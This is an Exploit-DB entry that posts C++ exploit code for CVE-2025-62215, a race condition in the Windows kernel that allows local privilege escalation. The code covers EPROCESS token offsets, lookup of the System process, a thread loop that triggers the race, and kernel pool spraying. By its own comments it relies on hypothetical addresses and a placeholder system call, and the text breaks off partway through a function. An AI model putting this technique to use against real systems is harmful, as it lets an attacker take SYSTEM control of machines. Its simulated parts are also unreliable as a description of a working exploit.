Exploit-DB #52494
Description: Windows Kernel - Elevation of Privilege
Type: local
Platform: windows
Date: 2026-04-06
Author: E1 Coders

Exploit:
# Exploit Title : Windows Kernel - Elevation of Privilege                                                                          
# Author : E1.Coders     
#Contact : E1.Coders [at] Mail [dot] RU                                              
# Security Risk : CNA: Microsoft Corporation Base Score: 7.0 HIGH Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H                                                                                
# Description : WINDOWS 10 -11 -12                 
#References
>https://nvd.nist.gov/vuln/detail/CVE-2025-62215
>https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-62215
>https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62215
>https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62215
>#
>#Description:
>#Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally.
>#
>#The zero-day vulnerability that has been listed as exploited in Tuesday's update is CVE-2025-62215 (CVSS score: 7.0), a privilege escalation flaw in #Windows Kernel. The Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC) have been credited with #discovering and reporting the issue.
>#
>#"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Kernel allows an authorized attacker to #elevate privileges locally," the company said in an advisory.
>#That said, successful exploitation hinges on an attacker who has already gained a foothold on a system to win a race condition. Once this criterion is #satisfied, it could permit the attacker to obtain SYSTEM privileges.
>#
>#################################################################
> 
> 
>#include <windows.h>
>#include <stdio.h>
>#include <TlHelp32.h>
>#include <iostream>
>#include <vector>
> 
>// EPROCESS structure offsets in Windows (these values need to be found for the specific Windows version)
>// These are sample values for Windows 10 1903 x64
>// In a real exploit, these values must be found precisely using tools like WinDbg for the target version.
>#define EPROCESS_TOKEN_OFFSET 0x358
>#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2F0
>#define LIST_ENTRY_FLINK_OFFSET 0x0
> 
>// Function to find the System process PID
>DWORD GetSystemPID() {
>    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
>    if (hSnapshot == INVALID_HANDLE_VALUE) {
>        printf("[-] Error creating process snapshot\n");
>        return 0;
>    }
> 
>    PROCESSENTRY32 pe32;
>    pe32.dwSize = sizeof(PROCESSENTRY32);
> 
>    if (!Process32First(hSnapshot, &pe32)) {
>        printf("[-] Error reading first process\n");
>        CloseHandle(hSnapshot);
>        return 0;
>    }
> 
>    do {
>        if (_stricmp(pe32.szExeFile, "System") == 0) {
>            CloseHandle(hSnapshot);
>            return pe32.th32ProcessID;
>        }
>    } while (Process32Next(hSnapshot, &pe32));
> 
>    CloseHandle(hSnapshot);
>    return 0;
>}
> 
>// This function in a real exploit would obtain the EPROCESS address from kernel memory
>// using an information disclosure vulnerability or by exploiting the main vulnerability.
>// This is the hardest part of many exploits.
>// Here we are forced to simulate it.
>ULONG_PTR GetEPROCESSAddress(DWORD pid) {
>    printf("[*] Simulation: Finding EPROCESS address for PID: %d\n", pid);
>    // In the real world, these addresses are dynamic and change with each system boot.
>    // We use fixed hypothetical addresses to demonstrate the code logic.
>    if (pid == 4) { // System PID is always 4
>        return (ULONG_PTR)0xffff8000'12345678; // Hypothetical System EPROCESS address
>    }
>    return (ULONG_PTR)0xffff8000'87654321; // Hypothetical address for our own process
>}
> 
>// --- Exploit related functions ---
> 
>// This function calls the hypothetical vulnerable system call.
>// In a real exploit, this function would need to find the function address in ntdll.dll and call it.
>typedef NTSTATUS(NTAPI* pNtQueryVirtualMemoryWithRace)(
>    HANDLE ProcessHandle,
>    PVOID BaseAddress,
>    PVOID Buffer,
>    ULONG BufferSize
>);
> 
>pNtQueryVirtualMemoryWithRace NtQueryVirtualMemoryWithRace_ptr = NULL;
> 
>// Function executed by threads to create Race Condition
>DWORD WINAPI TriggerRaceCondition(LPVOID lpParam) {
>    // Small buffer that causes free and reuse (Use-After-Free)
>    char buffer[0x20];
>    memset(buffer, 0x41, sizeof(buffer)); // Fill buffer with controllable data
> 
>    // Infinite loop for maximum chance of winning the race
>    while (TRUE) {
>        // Vulnerable system call
>        NtQueryVirtualMemoryWithRace_ptr(GetCurrentProcess(), (PVOID)0x400000, buffer, sizeof(buffer));
>        // Small pause for better thread coordination (optional)
>        // Sleep(1); 
>    }
>    return 0;
>}
> 
>// Function for Kernel Pool Spraying using Transaction Objects
>// This is a common technique to occupy kernel memory (NonPaged Pool) with controlled objects.
>void PerformKernelPoolSpray(std::vector<HANDLE>& transactionHandles) {
>    printf("[*] Spraying kernel memory with Transaction Objects...\n");
>    
>    typedef NTSTATUS(NTAPI* pNtCreateTransaction)(
>        OUT PHANDLE TransactionHandle,
>        IN ACCESS_MASK DesiredAccess,
>        IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
>        IN LPGUID Uow OPTIONAL,
>        IN HANDLE TmHandle OPTIONAL,
>        IN ULONG CreateOptions OPTIONAL,
>        IN ULONG IsolationLevel OPTIONAL,
>        IN ULONG IsolationFlags OPTIONAL,
>        IN PLARGE_INTEGER Timeout OPTIONAL,
>        IN PUNICODE_STRING Description OPTIONAL
>    );
> 
>    pNtCreateTransaction NtCreateTransaction_ptr = (pNtCreateTransaction)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateTransaction");